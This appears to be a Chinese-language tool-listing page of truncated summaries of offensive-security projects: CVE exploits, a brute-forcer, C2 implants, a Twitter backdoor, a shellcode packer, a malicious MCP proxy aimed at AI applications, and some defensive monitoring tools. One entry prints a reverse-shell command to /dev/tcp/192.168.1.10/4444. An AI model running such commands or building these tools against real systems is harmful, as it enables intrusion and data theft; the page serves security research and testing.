PanOsExploitMultitool

PanOsExploitMultitool 针对受 CVE-2024-0012 和 CVE-2024-9474 影响的 Palo Alto PAN-OS 系统的利用和后利用多功能工具 在早期利用 CVE-2024-0012 和 CVE-2024-9474 的远程代码执行漏洞时，我获取了一个 shell 并开始识别配置文件，发现其中各个密码字段包含奇怪的字符串。由于这些显然不是常见的哈希格式，我和团队开始调查，并迅速在 ThreatLabs 网站上发现了一份安全公告，其中提到 PAN-OS...

thc-hydra

H Y D R A root@kitploit: c 2001-2023 van Hauser / THC https://github.com/vanhauser-thc/thc-hydra 许多模块由 David dot Maciejak @ gmail dot com 编写 BFG 代码由 Jan Dlabal 编写 根据 AGPLv3 许可证发布（参见 LICENSE 文件） 请勿用于军事或秘密服务组织，或用于非法目的。 （这只是作者的愿望，不具有约束力。许多在这些组织中工作的人 无论如何都不关心法律和道德。如果你忽视这一点，你就不是一个“好”人。） 注意：不，这不是一份...

CVE-2026-58635-PoC

CVE-2026-58635: Windows 讲述人盲文本地权限提升 CVE-2026-58635 的概念验证，这是一个 Windows 讲述人盲文中的命令注入漏洞。本地经过身份验证的用户可以滥用可写的 BrlAPI 参数，使特权 BRLTTY 服务执行任意程序。 Microsoft 将该问题评级为重要 ，CVSS 3.1 得分为 7.8 （CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H），并将其映射到 CWE-77 。 此仓库仅用于在隔离实验室中进行授权测试。请勿在生产系统或您不拥有或管理的系统上运行。 概念验证演示内容 该 PoC...

ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent

root@kitploit: |\ |\ |\ |\ |\ |\ \ |\ |\ \ \ \ | \ \ \\ \ \ |\ \ \ || \ | \ \ |||\ \ \ \ \ \ \ \ \ \\ \ \ \ \ \ \ \ \ \ \ \ \ \ |\ \ \ \ \ \ \ \\ ||\ \ \ \ \ \ \ |\ \ \ \ \ \ \ \\ \ \ \ \ \\ ||||||||\ || ||| || 无文件、纯 x64 汇编 C2 植入体，采用双通道（ICMP / DNS）架构。零...

CDK

CDK - 零依赖容器渗透工具包 英文 | 简体中文 法律免责声明 未经事先双方同意，使用CDK攻击目标是违法的。CDK仅用于安全测试目的。 概述 CDK是一个开源的容器渗透工具包，旨在无需任何操作系统依赖的情况下，在不同的精简容器中提供稳定的利用。它附带了有用的网络工具和许多强大的PoC/EXP，帮助您轻松逃离容器并接管K8s集群。 快速开始 运行 cdk eva 获取评估信息和推荐的利用方式，然后运行 cdk run 开始攻击。 root@kitploit: ./cdk eva --full Maybe you can exploit the Capabilities below: ...

metabase-pre-auth-rce-poc

Metabase 预授权 RCE CVE-2023-38646 POC 这是一个用 Python 编写的脚本，可用于利用 Metabase 软件中 CVE-2023-38646 所描述的安全漏洞。该漏洞影响 0.46.6.1 之前的开源版本以及 1.46.6.1 之前的企业版。 使用方法 该脚本需要 目标 URL 、设置令牌 setup token 以及要执行的 命令 。设置令牌可以通过 /api/session/properties 端点获取。复制 setup-token 键的值。 该 命令 将在目标机器上执行，目的是获取一个 反向 shell 。你可以在 RevShells...

CVE-2020-26217-XStream-RCE-POC

CVE-2020-26217-XStream-RCE-POC 示例 root@kitploit: package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; public class CVE202026217 public static void mainString args throws IOException XStream xStream = new XStream; String payload = "\n" + " \n" + " \n" + " 0\n" ...

CVE-2025-53772

CVE-2025-53772 - Microsoft Web Deploy RCE 漏洞利用 一个基于 Python 的 CVE-2025-53772 漏洞利用程序，该漏洞是 Microsoft Web Deploy msdeploy 中因 HTTP 头数据的不安全反序列化而导致的远程代码执行漏洞。 🎬 POC 视频 漏洞概述 属性| 值 ---|--- CVE ID| CVE-2025-53772 CVSS 评分| 8.8 高危 受影响产品| Microsoft Web Deploy 4.0 受影响版本| │...

CVE-2023-34039

CVE-2023-34039 面向 CVE-2023-34039 的 POC：VMWare Aria Operations for Networks（vRealize Network Insight）静态 SSH 密钥远程代码执行 技术分析 关于该漏洞的根因分析，请参见我的博客： https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/ 摘要 VMWare Aria Operations for Networks（vRealize Network Insight）6.0 至 6.10...

NimSyscallPacker

NimSyscallPacker / Loader 该工具是在 x33fcon 的一次演讲后公开的。它是我 2021 至 2024 年的私人主要编码项目，目前已被视为废弃，不再维护。不要指望我这边提供错误修复或功能更新。取而代之的是，RustPack 现在作为面向经过审查的红队和渗透测试人员的商业受控版本进行维护，它功能更丰富，而且 OPSec 安全性也高得多。 此 Packer 可用于将任何 C Assembly、PE 文件或 Shellcode 打包到 Nim 二进制文件中。它将加密目标载荷，根据给定参数生成相应的 Nim 源代码，并将其编译为 Nim 二进制文件。 设置...

twittor

Twittor 一个基于Python的隐蔽后门，使用Twitter（直接消息）作为命令与控制服务器。 该项目受 Gcat 启发，后者使用Gmail账户实现相同功能。 设置 要使其工作，你需要： 一个Twitter账户（使用专用账户！不要使用个人账户！ ） 在Twitter上注册一个应用，权限级别设为读取、写入和直接消息 。 安装依赖： root@kitploit: $ pip install -r requirements.txt 此仓库包含两个文件： twittor.py：客户端 implant.py：实际部署的后门 在两个文件中，编辑访问令牌部分，并添加你之前生成的令牌：...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 的检测工件生成器 技术细节请参阅我们的博客文章 实际检测演示 root@kitploit: python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...

Malicious-MCP

恶意 MCP 这是一个概念验证项目，允许你部署一个伪装成其他任何 MCP 服务器的 MCP 服务器。该 MCP 充当一个 MCP '代理'，简单地将所有传入请求转发到上游 MCP 服务器。 什么是 MCP？ 一个 MCP 服务器 是一个向 AI 应用暴露额外能力的程序。一些例子包括用于代码管理的 GitHub 服务器、用于团队沟通的 Slack 服务器，或用于管理和创建任务及文档的 Atlassian 服务器。 MCP 服务器在 AI 领域很常见，但正如本仓库将展示的，它们应极其谨慎地安装。 你绝不应安装来自不可信来源的 MCP 服务器。 攻击向量 这是一个恶意 MCP，它'伪装'成另一...

CVE-2026-41940-PoC-Exploit

🚀 CVE-2026-41940 - cPanel/WHM 身份验证绕过漏洞利用程序 cPanel 与 WHM 版本 - CRLF 注入实现身份验证绕过与完全会话劫持 📌 概述 此漏洞利用程序利用 CVE-2026-41940 ，这是 cPanel/WHM 中的一个严重身份验证绕过漏洞。通过向会话管理系统注入精心构造的 CRLF 负载，它无需任何有效凭据即可实现会话劫持、获取 root 权限，并完全控制托管面板。 🔥 核心功能 类别| 功能 ---|--- 漏洞利用| ✅ 通过 CRLF 注入绕过身份验证 ✅ WHM 会话劫持 ✅ 安全令牌泄露 ✅ 即时获取 Root 权限 后渗透| ✅...

credential-attacks-toolkit

CredAttack — 凭据攻击工具包 ⚠️ 法律声明 — 仅限授权安全测试。 使用本工具针对您不拥有或未经明确书面许可 的系统进行测试，在美国《计算机欺诈与滥用法》、英国《计算机滥用法》及全球同等法律下均属违法行为。请参阅 SECURITY.md。 目录 什么是 CredAttack？ 攻击模式 支持的协议 架构 快速开始 安装 CLI 参考 密码变异引擎 默认凭据数据库 代理轮换 HTML 报告 配置与环境变量 Docker 测试 项目结构 贡献 什么是 CredAttack？ CredAttack 是一套模块化、生产级凭据测试套件...

openclaw-security-monitor

OpenClaw 安全监控器 为 OpenClaw 部署提供主动安全监控、威胁扫描和实时可见性。检测来自 ClawHavoc 活动（824+ 恶意技能）、AMOS 窃密木马 、Vidar 信息窃取器 、GhostSocks 代理恶意软件、ClawJacked WebSocket 暴力破解、工作区插件自动加载攻击、共享认证范围提升、批准重放/完整性绕过、供应链攻击、内存投毒、日志投毒、浏览器中继劫持、TAR 路径遍历、SSRF、SHA-1 缓存投毒、MCP 工具投毒、SANDWORM 蠕虫传播、170 项安全建议 和 500+ CVE 的威胁。 为什么存在 2026年1月底，安全研究人员发...

elastic-peak-dashboards

PEAK 基线威胁狩猎仪表盘 Kibana / Security Onion 3.0 — 一级与 ICS 协议分析 可导入的 Kibana 已保存对象仪表盘，实现了 Splunk PEAK 基线威胁狩猎方法论 ，用于网络威胁狩猎（CTH）和事件响应（IR）操作。基于 Security Onion 3.0.0 构建并验证，使用 Elasticsearch 中的 Zeek NSM 和 Suricata 数据。 概述 每个仪表盘都遵循一致的两阶段设计： 1. 建立基线 — 时间维度上的数量、基数指标、top-talker 表，以及针对特定协议的分布面板，使操作员能够了解特定网络上给定协议的 正...

esperto-wiimote

Esperto Wiimote !IMPORTANT 该软件需要一个更新/修复的 Wiimote 内核驱动，可在此处找到。 安装后，运行 sudo sed -i '/ATTRinhibited="1"/s/^//' /etc/udev/rules.d/99-wiimote.rules 以取消阻止红外和加速度计事件。 基于 esperto 输入系统，esperto-wiimote 是一个高级 Wiimote 映射器。它具有精确的加速度计校准、良好的红外追踪和强大的重映射选项，并支持组合键。它几乎不增加延迟，延迟主要取决于内核自身的 evdev/uinput API。 本程序包含 Hecto...

ipsw

ipsw iOS/macOS Research Swiss Army Knife What is ipsw 🤔 ipsw is a comprehensive command-line research framework for iOS and macOS. It provides an extensive toolkit for security researchers, reverse engineers, jailbreak developers, and iOS enthusiasts to download, parse, and analyze Apple firmware...

wardgate

Wardgate - AI代理安全网关 Wardgate 是一个安全网关，位于AI代理与外部世界之间——隔离API调用的凭据，隔离远程命令执行的SSH密钥，并对远程环境（conclaves）中的命令执行进行门控。 让你的AI代理能够访问API、SSH密钥和Shell工具——无需提供凭据，也无需信任它们直接执行。 问题所在 AI代理很强大。它们可以管理你的日历、查看邮件、更新任务、编写代码并自动化你的生活。但要做到这些，它们需要访问你的账户和系统。 它们就像一个天才少年：知道很多，但有自己想法。容易轻信（提示注入）。而且像青少年一样，它们不会真正思考。所以考虑后果绝对超出了它们的能力范围！...